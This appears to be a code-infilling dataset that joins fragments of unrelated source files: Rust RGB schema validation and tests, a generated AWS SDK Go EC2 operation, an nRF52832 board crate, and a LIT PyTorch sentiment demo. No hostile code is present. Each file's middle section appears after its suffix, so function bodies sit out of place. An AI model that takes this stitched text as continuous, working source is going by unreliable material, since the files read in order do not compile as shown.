)
})
}
Some(Assignments::CustomData(set)) => {
set.into_iter().for_each(|data| {
status += assignment.validate(
&node_id,
*owned_type_id,
data,
)
})
}
};
}
status
}
fn validate_public_rights(
&self,
node_id: NodeId,
public_rights: &PublicRights,
public_rights_structure: &PublicRightsStructure,
) -> validation::Status {
let mut status = validation::Status::new();
public_rights.difference(&public_rights_structure).for_each(
|public_type_id| {
status.add_failure(
validation::Failure::SchemaUnknownPublicRightType(
node_id,
*public_type_id,
),
);
},
);
status
}
fn validate_state_evolution(
&self,
node_id: NodeId,
transition_type: Option<TransitionType>,
parent_owned_rights: &OwnedRights,
owned_rights: &OwnedRights,
metadata: &Metadata,
) -> validation::Status {
let mut status = validation::Status::new();
let owned_right_types: BTreeSet<&OwnedRightType> =
parent_owned_rights
.keys()
.chain(owned_rights.keys())
.collect();
for owned_type_id in owned_right_types {
let abi = &self
.owned_right_types
.get(&owned_type_id)
.expect("We already passed owned rights type validation, so can be sure that the type exists")
.abi;
// If the procedure is not defined, it means no validation
// should be performed
if let Some(procedure) = abi.get(&AssignmentAction::Validate) {
match procedure {
script::Procedure::Embedded(proc) => {
let mut vm = vm::Embedded::with(
transition_type,
parent_owned_rights
.get(&owned_type_id)
.cloned(),
owned_rights.get(&owned_type_id).cloned(),
metadata.clone(),
);
vm.execute(*proc);
match vm.pop_stack().and_then(|x| x.downcast_ref::<u8>().cloned()) {
None => panic!("LNP/BP core code is hacked: standard procedure must always return 8-bit value"),
Some(0) => {
// Nothing to do here: 0 signifies successful script execution
},
Some(n) => {
status.add_failure(validation::Failure::ScriptFailure(node_id, n));
}
}
}
script::Procedure::Simplicity { .. } => {
status.add_failure(validation::Failure::SimplicityIsNotSupportedYet);
/* Draft of how this could look like:
let mut vm = VirtualMachine::new();
vm.push_stack(previous_state.get(&assignment_type).cloned());
vm.push_stack(current_state.get(&assignment_type).cloned());
vm.push_stack(previous_meta.clone());
vm.push_stack(current_meta.clone());
match vm.execute(code.clone(), offset) {
Err(_) => {}
Ok => match vm.pop_stack() {
None => {}
Some(value) => {}
},
}
*/
}
}
}
}
// We do not validate public rights, since they do not have an
// associated state and there is nothing to validate beyond schema
status
}
}
fn extract_parent_owned_rights(
nodes: &BTreeMap<NodeId, &dyn Node>,
parent_owned_rights: &ParentOwnedRights,
status: &mut validation::Status,
) -> OwnedRights {
let mut owned_rights = OwnedRights::new();
for (id, details) in parent_owned_rights {
let parent_node = match nodes.get(id) {
None => {
status.add_failure(validation::Failure::TransitionAbsent(
*id,
));
continue;
}
Some(node) => node,
};
fn filter<STATE>(
set: &Vec<OwnedState<STATE>>,
indexes: &Vec<u16>,
) -> Vec<OwnedState<STATE>>
where
STATE: StateTypes + Clone,
STATE::Confidential: PartialEq + Eq,
STATE::Confidential:
From<<STATE::Revealed as Conceal>::Confidential>,
{
set.into_iter()
.enumerate()
.filter_map(|(index, item)| {
if indexes.contains(&(index as u16)) {
Some(item.clone())
} else {
None
}
})
.collect()
};
for (type_id, indexes) in details {
match parent_node.owned_rights_by_type(*type_id) {
Some(Assignments::Declarative(set)) => {
let set = filter(set, indexes);
owned_rights
.entry(*type_id)
.or_insert(Assignments::Declarative(
Default::default(),
))
.declarative_state_mut()
.map(|state| state.extend(set));
}
Some(Assignments::DiscreteFiniteField(set)) => {
let set = filter(set, indexes);
owned_rights
.entry(*type_id)
.or_insert(Assignments::DiscreteFiniteField(
Default::default(),
))
.discrete_state_mut()
.map(|state| state.extend(set));
}
Some(Assignments::CustomData(set)) => {
let set = filter(set, indexes);
owned_rights
.entry(*type_id)
.or_insert(Assignments::CustomData(
Default::default(),
))
.custom_state_mut()
.map(|state| state.extend(set));
}
None => {
// Presence of the required owned rights type in the
// parent node was already validated; we have nothing to
// report here
}
}
}
}
owned_rights
}
fn extract_parent_public_rights(
nodes: &BTreeMap<NodeId, &dyn Node>,
parent_public_rights: &ParentPublicRights,
status: &mut validation::Status,
) -> PublicRights {
let mut public_rights = PublicRights::new();
for (id, public_right_types) in parent_public_rights {
if nodes.get(id).is_none() {
status.add_failure(validation::Failure::TransitionAbsent(*id));
} else {
public_rights.extend(public_right_types);
}
}
public_rights
}
}
#[cfg(test)]
pub(crate) mod test {
use amplify::Wrapper;
use super::*;
use crate::bp::tagged_hash;
use crate::rgb::schema::*;
use crate::strict_encoding::*;
pub(crate) fn schema() -> Schema {
const FIELD_TICKER: usize = 0;
const FIELD_NAME: usize = 1;
const FIELD_DESCRIPTION: usize = 2;
const FIELD_TOTAL_SUPPLY: usize = 3;
const FIELD_ISSUED_SUPPLY: usize = 4;
const FIELD_DUST_LIMIT: usize = 5;
const FIELD_PRECISION: usize = 6;
const FIELD_PRUNE_PROOF: usize = 7;
const FIELD_TIMESTAMP: usize = 8;
const FIELD_PROOF_OF_BURN: usize = 0x10;
const ASSIGNMENT_ISSUE: usize = 0;
const ASSIGNMENT_ASSETS: usize = 1;
const ASSIGNMENT_PRUNE: usize = 2;
const TRANSITION_ISSUE: usize = 0;
const TRANSITION_TRANSFER: usize = 1;
const TRANSITION_PRUNE: usize = 2;
const VALENCIES_DECENTRALIZED_ISSUE: usize = 0;
const EXTENSION_DECENTRALIZED_ISSUE: usize = 0;
Schema {
rgb_features: features::FlagVec::default(),
root_id: Default::default(),
field_types: bmap! {
FIELD_TICKER => DataFormat::String(16),
FIELD_NAME => DataFormat::String(256),
FIELD_DESCRIPTION => DataFormat::String(1024),
FIELD_TOTAL_SUPPLY => DataFormat::Unsigned(Bits::Bit64, 0, core::u64::MAX as u128),
FIELD_PRECISION => DataFormat::Unsigned(Bits::Bit64, 0, 18u128),
FIELD_ISSUED_SUPPLY => DataFormat::Unsigned(Bits::Bit64, 0, core::u64::MAX as u128),
FIELD_DUST_LIMIT => DataFormat::Unsigned(Bits::Bit64, 0, core::u64::MAX as u128),
FIELD_PRUNE_PROOF => DataFormat::Bytes(core::u16::MAX),
FIELD_TIMESTAMP => DataFormat::Unsigned(Bits::Bit64, 0, core::u64::MAX as u128),
FIELD_PROOF_OF_BURN => DataFormat::TxOutPoint
},
owned_right_types: bmap! {
ASSIGNMENT_ISSUE => StateSchema {
format: StateFormat::Declarative,
abi: bmap! {
AssignmentAction::Validate => script::Procedure::Embedded(script::StandardProcedure::FungibleInflation)
}
},
ASSIGNMENT_ASSETS => StateSchema {
format: StateFormat::DiscreteFiniteField(DiscreteFiniteFieldFormat::Unsigned64bit),
abi: bmap! {
AssignmentAction::Validate => script::Procedure::Embedded(script::StandardProcedure::NoInflationBySum)
}
},
ASSIGNMENT_PRUNE => StateSchema {
format: StateFormat::Declarative,
abi: bmap! {
AssignmentAction::Validate => script::Procedure::Embedded(script::StandardProcedure::ProofOfBurn)
}
}
},
public_right_types: bset! {
VALENCIES_DECENTRALIZED_ISSUE
},
genesis: GenesisSchema {
metadata: bmap! {
FIELD_TICKER => Occurences::Once,
FIELD_NAME => Occurences::Once,
FIELD_DESCRIPTION => Occurences::NoneOrOnce,
FIELD_TOTAL_SUPPLY => Occurences::Once,
FIELD_ISSUED_SUPPLY => Occurences::Once,
FIELD_DUST_LIMIT => Occurences::NoneOrOnce,
FIELD_PRECISION => Occurences::Once,
FIELD_TIMESTAMP => Occurences::Once
},
owned_rights: bmap! {
ASSIGNMENT_ISSUE => Occurences::NoneOrOnce,
ASSIGNMENT_ASSETS => Occurences::NoneOrMore,
ASSIGNMENT_PRUNE => Occurences::NoneOrMore
},
public_rights: bset! { VALENCIES_DECENTRALIZED_ISSUE },
abi: bmap! {},
},
extensions: bmap! {
EXTENSION_DECENTRALIZED_ISSUE => ExtensionSchema {
extends: bset! { VALENCIES_DECENTRALIZED_ISSUE },
metadata: bmap! {
FIELD_ISSUED_SUPPLY => Occurences::Once,
FIELD_PROOF_OF_BURN => Occurences::OnceOrMore
},
owned_rights: bmap! {
ASSIGNMENT_ASSETS => Occurences::NoneOrMore
},
public_rights: bset! { },
abi: bmap! {},
}
},
transitions: bmap! {
TRANSITION_ISSUE => TransitionSchema {
closes: bmap! {
ASSIGNMENT_ISSUE => Occurences::Once
},
metadata: bmap! {
FIELD_ISSUED_SUPPLY => Occurences::Once
},
owned_rights: bmap! {
ASSIGNMENT_ISSUE => Occurences::NoneOrOnce,
ASSIGNMENT_PRUNE => Occurences::NoneOrMore,
ASSIGNMENT_ASSETS => Occurences::NoneOrMore
},
public_rights: bset! {},
abi: bmap! {}
},
TRANSITION_TRANSFER => TransitionSchema {
closes: bmap! {
ASSIGNMENT_ASSETS => Occurences::OnceOrMore
},
metadata: bmap! {},
owned_rights: bmap! {
ASSIGNMENT_ASSETS => Occurences::NoneOrMore
},
public_rights: bset! {},
abi: bmap! {}
},
TRANSITION_PRUNE => TransitionSchema {
closes: bmap! {
ASSIGNMENT_PRUNE => Occurences::OnceOrMore,
ASSIGNMENT_ASSETS => Occurences::OnceOrMore
},
metadata: bmap! {
FIELD_PRUNE_PROOF => Occurences::NoneOrMore
},
owned_rights: bmap! {
ASSIGNMENT_PRUNE => Occurences::NoneOrMore,
ASSIGNMENT_ASSETS => Occurences::NoneOrMore
},
public_rights: bset! {},
abi: bmap! {}
}
},
}
}
#[test]
fn test_schema_id_midstate() {
let midstate = tagged_hash::Midstate::with(b"rgb:schema");
assert_eq!(midstate.into_inner(), MIDSTATE_SHEMA_ID);
}
#[test]
fn test_schema_encoding_decoding() {
let schema = schema();
let encoded = strict_encode(&schema).unwrap();
let encoded_standard: Vec<u8> = vec![
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 10, 0, 0, 0, 4, 16, 0, 1, 0, 4,
0, 1, 2, 0, 4, 0, 4, 3, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255,
255, 255, 255, 255, 255, 255, 4, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 0,
255, 255, 255, 255, 255, 255, 255, 255, 5, 0, 0, 8, 0, 0, 0, 0, 0,
0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 6, 0, 0, 8, 0, 0,
0, 0, 0, 0, 0, 0, 18, 0, 0, 0, 0, 0, 0, 0, 7, 0, 5, 255, 255, 8, 0,
0, 8, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255,
255, 16, 0, 32, 3, 0, 0, 0, 0, 1, 0, 0, 255, 2, 1, 0, 1, 0, 8, 0,
0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 1, 0,
0, 255, 1, 2, 0, 0, 1, 0, 0, 255, 16, 1, 0, 0, 0, 8, 0, 0, 0, 1, 0,
1, 0, 1, 0, 1, 0, 1, 0, 2, 0, 0, 0, 1, 0, 3, 0, 1, 0, 1, 0, 4, 0,
1, 0, 1, 0, 5, 0, 0, 0, 1, 0, 6, 0, 1, 0, 1, 0, 8, 0, 1, 0, 1, 0,
3, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 255, 255, 2, 0, 0, 0, 255, 255,
1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 2, 0, 4, 0, 1, 0, 1, 0, 16, 0,
1, 0, 255, 255, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 255, 255, 0, 0, 0, 0,
0, 0, 3, 0, 0, 0, 1, 0, 4, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0,
3, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 255, 255, 2, 0, 0, 0, 255, 255,
0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 255, 255, 1, 0, 1,
0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 2, 0, 1, 0, 7, 0, 0, 0, 255,
255, 2, 0, 1, 0, 1, 0, 255, 255, 2, 0, 1, 0, 255, 255, 2, 0, 1, 0,
0, 0, 255, 255, 2, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0,
];
assert_eq!(encoded, encoded_standard);
let decoded = Schema::strict_decode(&encoded[..]).unwrap();
assert_eq!(decoded, schema);
}
} | }
*/
let extension_type = match self.extensions.get(&extension_type) { |
api_op_ModifyVpcEndpointServiceConfiguration.go | // Code generated by smithy-go-codegen DO NOT EDIT.
package ec2
import (
"context"
awsmiddleware "github.com/aws/aws-sdk-go-v2/aws/middleware"
"github.com/aws/aws-sdk-go-v2/aws/signer/v4"
"github.com/awslabs/smithy-go/middleware"
smithyhttp "github.com/awslabs/smithy-go/transport/http"
)
// Modifies the attributes of your VPC endpoint service configuration. You can
// change the Network Load Balancers for your service, and you can specify whether
// acceptance is required for requests to connect to your endpoint service through
// an interface VPC endpoint. If you set or modify the private DNS name, you must
// prove that you own the private DNS domain name. For more information, see VPC
// Endpoint Service Private DNS Name Verification
// (https://docs.aws.amazon.com/vpc/latest/userguide/endpoint-services-dns-validation.html)
// in the Amazon Virtual Private Cloud User Guide.
func (c *Client) ModifyVpcEndpointServiceConfiguration(ctx context.Context, params *ModifyVpcEndpointServiceConfigurationInput, optFns ...func(*Options)) (*ModifyVpcEndpointServiceConfigurationOutput, error) {
if params == nil {
params = &ModifyVpcEndpointServiceConfigurationInput{}
}
result, metadata, err := c.invokeOperation(ctx, "ModifyVpcEndpointServiceConfiguration", params, optFns, addOperationModifyVpcEndpointServiceConfigurationMiddlewares)
if err != nil {
return nil, err
}
out := result.(*ModifyVpcEndpointServiceConfigurationOutput)
out.ResultMetadata = metadata
return out, nil
}
type ModifyVpcEndpointServiceConfigurationInput struct {
// The ID of the service.
//
// This member is required.
ServiceId *string
// Indicates whether requests to create an endpoint to your service must be
// accepted.
AcceptanceRequired *bool
// The Amazon Resource Names (ARNs) of Network Load Balancers to add to your
// service configuration.
AddNetworkLoadBalancerArns []*string
// Checks whether you have the required permissions for the action, without
// actually making the request, and provides an error response. If you have the
// required permissions, the error response is DryRunOperation. Otherwise, it is
// UnauthorizedOperation.
DryRun *bool
// The private DNS name to assign to the endpoint service.
PrivateDnsName *string
// The Amazon Resource Names (ARNs) of Network Load Balancers to remove from your
// service configuration.
RemoveNetworkLoadBalancerArns []*string
// Removes the private DNS name of the endpoint service.
RemovePrivateDnsName *bool
}
type ModifyVpcEndpointServiceConfigurationOutput struct {
// Returns true if the request succeeds; otherwise, it returns an error.
Return *bool
// Metadata pertaining to the operation's result.
ResultMetadata middleware.Metadata
}
func addOperationModifyVpcEndpointServiceConfigurationMiddlewares(stack *middleware.Stack, options Options) (err error) |
func newServiceMetadataMiddleware_opModifyVpcEndpointServiceConfiguration(region string) awsmiddleware.RegisterServiceMetadata {
return awsmiddleware.RegisterServiceMetadata{
Region: region,
ServiceID: ServiceID,
SigningName: "ec2",
OperationName: "ModifyVpcEndpointServiceConfiguration",
}
}
| {
err = stack.Serialize.Add(&awsEc2query_serializeOpModifyVpcEndpointServiceConfiguration{}, middleware.After)
if err != nil {
return err
}
err = stack.Deserialize.Add(&awsEc2query_deserializeOpModifyVpcEndpointServiceConfiguration{}, middleware.After)
if err != nil {
return err
}
awsmiddleware.AddRequestInvocationIDMiddleware(stack)
smithyhttp.AddContentLengthMiddleware(stack)
addResolveEndpointMiddleware(stack, options)
v4.AddComputePayloadSHA256Middleware(stack)
addRetryMiddlewares(stack, options)
addHTTPSignerV4Middleware(stack, options)
awsmiddleware.AddAttemptClockSkewMiddleware(stack)
addClientUserAgent(stack)
smithyhttp.AddErrorCloseResponseBodyMiddleware(stack)
smithyhttp.AddCloseResponseBodyMiddleware(stack)
addOpModifyVpcEndpointServiceConfigurationValidationMiddleware(stack)
stack.Initialize.Add(newServiceMetadataMiddleware_opModifyVpcEndpointServiceConfiguration(options.Region), middleware.Before)
addRequestIDRetrieverMiddleware(stack)
addResponseErrorMiddleware(stack)
return nil
} |
lib.rs | #![no_std]
pub mod prelude {
pub use nrf52832_hal::prelude::*;
}
use nrf52832_hal::{
gpio::{p0, Floating, Input, Level, Output, Pin, PushPull},
prelude::*,
target::{self as pac, CorePeripherals, Peripherals},
uarte, Uarte,
};
#[allow(non_snake_case)]
pub struct Board {
pub pins: Pins,
pub cdc: Uarte<pac::UARTE0>,
pub leds: Leds,
pub nfc: NFC,
/// Core peripheral: Cache and branch predictor maintenance operations
pub CBP: pac::CBP,
/// Core peripheral: CPUID
pub CPUID: pac::CPUID,
/// Core peripheral: Debug Control Block
pub DCB: pac::DCB,
/// Core peripheral: Data Watchpoint and Trace unit
pub DWT: pac::DWT,
/// Core peripheral: Flash Patch and Breakpoint unit
pub FPB: pac::FPB,
/// Core peripheral: Floating Point Unit
pub FPU: pac::FPU,
/// Core peripheral: Instrumentation Trace Macrocell
pub ITM: pac::ITM,
/// Core peripheral: Memory Protection Unit
pub MPU: pac::MPU,
/// Core peripheral: Nested Vector Interrupt Controller
pub NVIC: pac::NVIC,
/// Core peripheral: System Control Block
pub SCB: pac::SCB,
/// Core peripheral: SysTick Timer
pub SYST: pac::SYST,
/// Core peripheral: Trace Port Interface Unit
pub TPIU: pac::TPIU,
/// nRF52 peripheral: FICR
pub FICR: pac::FICR,
/// nRF52 peripheral: UICR
pub UICR: pac::UICR,
/// nRF52 peripheral: POWER
pub POWER: pac::POWER,
/// nRF52 peripheral: CLOCK
pub CLOCK: pac::CLOCK,
/// nRF52 peripheral: RADIO
pub RADIO: pac::RADIO,
/// nRF52 peripheral: UART0
pub UART0: pac::UART0,
/// nRF52 peripheral: SPIM0
pub SPIM0: pac::SPIM0,
/// nRF52 peripheral: SPIS0
pub SPIS0: pac::SPIS0,
/// nRF52 peripheral: TWIM0
pub TWIM0: pac::TWIM0,
/// nRF52 peripheral: TWIS0
pub TWIS0: pac::TWIS0,
/// nRF52 peripheral: SPI0
pub SPI0: pac::SPI0,
/// nRF52 peripheral: TWI0
pub TWI0: pac::TWI0,
/// nRF52 peripheral: SPIM1
pub SPIM1: pac::SPIM1,
/// nRF52 peripheral: SPIS1
pub SPIS1: pac::SPIS1,
/// nRF52 peripheral: TWIS1
pub TWIS1: pac::TWIS1,
/// nRF52 peripheral: SPI1
pub SPI1: pac::SPI1,
/// nRF52 peripheral: TWI1
pub TWI1: pac::TWI1,
/// nRF52 peripheral: NFCT
pub NFCT: pac::NFCT,
/// nRF52 peripheral: GPIOTE
pub GPIOTE: pac::GPIOTE,
/// nRF52 peripheral: SAADC
pub SAADC: pac::SAADC,
/// nRF52 peripheral: TIMER0
pub TIMER0: pac::TIMER0,
/// nRF52 peripheral: TIMER1
pub TIMER1: pac::TIMER1,
/// nRF52 peripheral: TIMER2
pub TIMER2: pac::TIMER2,
/// nRF52 peripheral: RTC0
pub RTC0: pac::RTC0,
/// nRF52 peripheral: TEMP
pub TEMP: pac::TEMP,
/// nRF52 peripheral: RNG
pub RNG: pac::RNG,
/// nRF52 peripheral: ECB
pub ECB: pac::ECB,
/// nRF52 peripheral: CCM
pub CCM: pac::CCM,
/// nRF52 peripheral: AAR
pub AAR: pac::AAR,
/// nRF52 peripheral: WDT
pub WDT: pac::WDT,
/// nRF52 peripheral: RTC1
pub RTC1: pac::RTC1,
/// nRF52 peripheral: QDEC
pub QDEC: pac::QDEC,
/// nRF52 peripheral: COMP
pub COMP: pac::COMP,
/// nRF52 peripheral: LPCOMP
pub LPCOMP: pac::LPCOMP,
/// nRF52 peripheral: SWI0
pub SWI0: pac::SWI0,
/// nRF52 peripheral: EGU0
pub EGU0: pac::EGU0,
/// nRF52 peripheral: SWI1
pub SWI1: pac::SWI1,
/// nRF52 peripheral: EGU1
pub EGU1: pac::EGU1,
/// nRF52 peripheral: SWI2
pub SWI2: pac::SWI2,
/// nRF52 peripheral: EGU2
pub EGU2: pac::EGU2,
/// nRF52 peripheral: SWI3
pub SWI3: pac::SWI3,
/// nRF52 peripheral: EGU3
pub EGU3: pac::EGU3,
/// nRF52 peripheral: SWI4
pub SWI4: pac::SWI4,
/// nRF52 peripheral: EGU4
pub EGU4: pac::EGU4,
/// nRF52 peripheral: SWI5
pub SWI5: pac::SWI5,
/// nRF52 peripheral: EGU5
pub EGU5: pac::EGU5,
/// nRF52 peripheral: TIMER3
pub TIMER3: pac::TIMER3,
/// nRF52 peripheral: TIMER4
pub TIMER4: pac::TIMER4,
/// nRF52 peripheral: PWM0
pub PWM0: pac::PWM0,
/// nRF52 peripheral: PDM
pub PDM: pac::PDM,
/// nRF52 peripheral: NVMC
pub NVMC: pac::NVMC,
/// nRF52 peripheral: PPI
pub PPI: pac::PPI,
/// nRF52 peripheral: MWU
pub MWU: pac::MWU,
/// nRF52 peripheral: PWM1
pub PWM1: pac::PWM1,
/// nRF52 peripheral: PWM2
pub PWM2: pac::PWM2,
/// nRF52 peripheral: RTC2
pub RTC2: pac::RTC2,
/// nRF52 peripheral: I2S
pub I2S: pac::I2S,
}
impl Board {
pub fn take() -> Option<Self> {
Some(Self::new(CorePeripherals::take()?, Peripherals::take()?))
}
pub unsafe fn steal() -> Self {
Self::new(CorePeripherals::steal(), Peripherals::steal())
}
pub fn new(cp: CorePeripherals, p: Peripherals) -> Self {
let pins = p0::Parts::new(p.P0);
let cdc_uarte = Uarte::new(
p.UARTE0,
uarte::Pins {
txd: pins.p0_06.into_push_pull_output(Level::High).degrade(),
rxd: pins.p0_08.into_floating_input().degrade(),
cts: None,
rts: None,
},
uarte::Parity::EXCLUDED,
uarte::Baudrate::BAUD115200,
);
Self {
cdc: cdc_uarte,
nfc: NFC {
nfc1: pins.p0_09,
nfc2: pins.p0_10,
},
pins: Pins {
a0: pins.p0_02,
a1: pins.p0_03,
a2: pins.p0_04,
a3: pins.p0_05,
a4: pins.p0_28,
a5: pins.p0_29,
sck: pins.p0_12,
mosi: pins.p0_13,
miso: pins.p0_14,
dfu: pins.p0_20,
frst: pins.p0_22,
d16: pins.p0_16,
d15: pins.p0_15,
d7: pins.p0_07,
d11: pins.p0_11,
a7: pins.p0_31,
a6: pins.p0_30,
d27: pins.p0_27,
scl: pins.p0_26,
sda: pins.p0_25,
},
leds: Leds {
red: Led::new(pins.p0_17.degrade()),
blue: Led::new(pins.p0_19.degrade()),
},
// Core peripherals
CBP: cp.CBP,
CPUID: cp.CPUID,
DCB: cp.DCB,
DWT: cp.DWT,
FPB: cp.FPB,
FPU: cp.FPU,
ITM: cp.ITM,
MPU: cp.MPU,
NVIC: cp.NVIC,
SCB: cp.SCB,
SYST: cp.SYST,
TPIU: cp.TPIU,
// nRF52 peripherals
FICR: p.FICR,
UICR: p.UICR,
POWER: p.POWER,
CLOCK: p.CLOCK,
RADIO: p.RADIO,
UART0: p.UART0,
SPIM0: p.SPIM0,
SPIS0: p.SPIS0,
TWIM0: p.TWIM0,
TWIS0: p.TWIS0,
SPI0: p.SPI0,
TWI0: p.TWI0,
SPIM1: p.SPIM1,
SPIS1: p.SPIS1,
TWIS1: p.TWIS1,
SPI1: p.SPI1,
TWI1: p.TWI1,
NFCT: p.NFCT,
GPIOTE: p.GPIOTE,
SAADC: p.SAADC,
TIMER0: p.TIMER0,
TIMER1: p.TIMER1,
TIMER2: p.TIMER2,
RTC0: p.RTC0,
TEMP: p.TEMP,
RNG: p.RNG,
ECB: p.ECB,
CCM: p.CCM,
AAR: p.AAR,
WDT: p.WDT,
RTC1: p.RTC1,
QDEC: p.QDEC,
COMP: p.COMP,
LPCOMP: p.LPCOMP,
SWI0: p.SWI0,
EGU0: p.EGU0,
SWI1: p.SWI1,
EGU1: p.EGU1,
SWI2: p.SWI2,
EGU2: p.EGU2,
SWI3: p.SWI3,
EGU3: p.EGU3,
SWI4: p.SWI4,
EGU4: p.EGU4,
SWI5: p.SWI5,
EGU5: p.EGU5,
TIMER3: p.TIMER3,
TIMER4: p.TIMER4,
PWM0: p.PWM0,
PDM: p.PDM,
NVMC: p.NVMC,
PPI: p.PPI,
MWU: p.MWU,
PWM1: p.PWM1,
PWM2: p.PWM2,
RTC2: p.RTC2,
I2S: p.I2S,
}
}
}
pub struct Leds {
pub red: Led,
pub blue: Led,
}
pub struct Led(Pin<Output<PushPull>>);
impl Led {
fn new<Mode>(pin: Pin<Mode>) -> Self |
pub fn enable(&mut self) {
self.0.set_high();
}
pub fn disable(&mut self) {
self.0.set_low();
}
}
/// Maps the pins to the names printed on the device
pub struct Pins {
pub a0: p0::P0_02<Input<Floating>>,
pub a1: p0::P0_03<Input<Floating>>,
pub a2: p0::P0_04<Input<Floating>>,
pub a3: p0::P0_05<Input<Floating>>,
pub a4: p0::P0_28<Input<Floating>>,
pub a5: p0::P0_29<Input<Floating>>,
pub sck: p0::P0_12<Input<Floating>>,
pub mosi: p0::P0_13<Input<Floating>>,
pub miso: p0::P0_14<Input<Floating>>,
pub dfu: p0::P0_20<Input<Floating>>,
pub frst: p0::P0_22<Input<Floating>>,
pub d16: p0::P0_16<Input<Floating>>,
pub d15: p0::P0_15<Input<Floating>>,
pub d7: p0::P0_07<Input<Floating>>,
pub d11: p0::P0_11<Input<Floating>>,
pub a7: p0::P0_31<Input<Floating>>,
pub a6: p0::P0_30<Input<Floating>>,
pub d27: p0::P0_27<Input<Floating>>,
pub scl: p0::P0_26<Input<Floating>>,
pub sda: p0::P0_25<Input<Floating>>,
}
pub struct NFC {
pub nfc1: p0::P0_09<Input<Floating>>,
pub nfc2: p0::P0_10<Input<Floating>>,
}
| {
Led(pin.into_push_pull_output(Level::High))
} |
sst_pytorch_demo.py | # Lint as: python3
r"""Code example for a custom model, using PyTorch.
This demo shows how to use a custom model with LIT, in just a few lines of code.
We'll use a transformers model, with a minimal amount of code to implement the
LIT API. Compared to models/glue_models.py, this has fewer features, but the
code is more readable.
This demo is similar in functionality to simple_tf2_demo.py, but uses PyTorch
instead of TensorFlow 2.
The transformers library can load weights from either,
so you can use any saved model compatible with the underlying model class
(AutoModelForSequenceClassification). To train something for this demo, you can:
- Use quickstart_sst_demo.py, and set --model_path to somewhere durable
- Or: Use tools/glue_trainer.py
- Or: Use any fine-tuning code that works with transformers, such as
https://github.com/huggingface/transformers#quick-tour-of-the-fine-tuningusage-scripts
To run locally:
python -m lit_nlp.examples.simple_pytorch_demo \
--port=5432 --model_path=/path/to/saved/model
Then navigate to localhost:5432 to access the demo UI.
NOTE: this demo still uses TensorFlow Datasets (which depends on TensorFlow) to
load the data. However, the output of glue.SST2Data is just NumPy arrays and
plain Python data, and you can easily replace this with a different library or
directly loading from CSV.
"""
import re
from absl import app
from absl import flags
from absl import logging
from lit_nlp import dev_server
from lit_nlp import server_flags
from lit_nlp.api import model as lit_model
from lit_nlp.api import types as lit_types
from lit_nlp.examples.datasets import glue
from lit_nlp.lib import utils
import torch
import transformers
# NOTE: additional flags defined in server_flags.py
FLAGS = flags.FLAGS
flags.DEFINE_string(
"model_path", None,
"Path to trained model, in standard transformers format, e.g. as "
"saved by model.save_pretrained() and tokenizer.save_pretrained()")
def _from_pretrained(cls, *args, **kw):
"""Load a transformers model in PyTorch, with fallback to TF2/Keras weights."""
try:
return cls.from_pretrained(*args, **kw)
except OSError as e:
logging.warning("Caught OSError loading model: %s", e)
logging.warning(
"Re-trying to convert from TensorFlow checkpoint (from_tf=True)")
return cls.from_pretrained(*args, from_tf=True, **kw)
class SimpleSentimentModel(lit_model.Model):
"""Simple sentiment analysis model."""
LABELS = ["0", "1"] # negative, positive
compute_grads: bool = True # if True, compute and return gradients.
def __init__(self, model_name_or_path):
self.tokenizer = transformers.AutoTokenizer.from_pretrained(
model_name_or_path)
model_config = transformers.AutoConfig.from_pretrained(
model_name_or_path,
num_labels=2,
output_hidden_states=True,
output_attentions=True,
)
# This is a just a regular PyTorch model.
self.model = _from_pretrained(
transformers.AutoModelForSequenceClassification,
model_name_or_path,
config=model_config)
self.model.eval()
##
# LIT API implementation
def max_minibatch_size(self):
# This tells lit_model.Model.predict() how to batch inputs to
# predict_minibatch().
# Alternately, you can just override predict() and handle batching yourself.
return 32
def predict_minibatch(self, inputs):
# Preprocess to ids and masks, and make the input batch.
|
def input_spec(self) -> lit_types.Spec:
return {
"sentence": lit_types.TextSegment(),
"label": lit_types.CategoryLabel(vocab=self.LABELS, required=False)
}
def output_spec(self) -> lit_types.Spec:
ret = {
"tokens": lit_types.Tokens(),
"probas": lit_types.MulticlassPreds(parent="label", vocab=self.LABELS),
"cls_emb": lit_types.Embeddings()
}
# Gradients, if requested.
if self.compute_grads:
ret["token_grad_sentence"] = lit_types.TokenGradients(
align="tokens")
# Attention heads, one field for each layer.
for i in range(self.model.config.num_hidden_layers):
ret[f"layer_{i}/attention"] = lit_types.AttentionHeads(
align_in="tokens", align_out="tokens")
return ret
def main(_):
# Normally path is a directory; if it's an archive file, download and
# extract to the transformers cache.
model_path = FLAGS.model_path
if model_path.endswith(".tar.gz"):
model_path = transformers.file_utils.cached_path(
model_path, extract_compressed_file=True)
# Load the model we defined above.
models = {"sst": SimpleSentimentModel(model_path)}
# Load SST-2 validation set from TFDS.
datasets = {"sst_dev": glue.SST2Data("validation")}
# Start the LIT server. See server_flags.py for server options.
lit_demo = dev_server.Server(models, datasets, **server_flags.get_flags())
lit_demo.serve()
if __name__ == "__main__":
app.run(main)
| encoded_input = self.tokenizer.batch_encode_plus(
[ex["sentence"] for ex in inputs],
return_tensors="pt",
add_special_tokens=True,
max_length=128,
padding="longest",
truncation="longest_first")
# Check and send to cuda (GPU) if available
if torch.cuda.is_available():
self.model.cuda()
for tensor in encoded_input:
encoded_input[tensor] = encoded_input[tensor].cuda()
# Run a forward pass.
with torch.set_grad_enabled(self.compute_grads):
out: transformers.modeling_outputs.SequenceClassifierOutput = \
self.model(**encoded_input)
# Post-process outputs.
batched_outputs = {
"probas": torch.nn.functional.softmax(out.logits, dim=-1),
"input_ids": encoded_input["input_ids"],
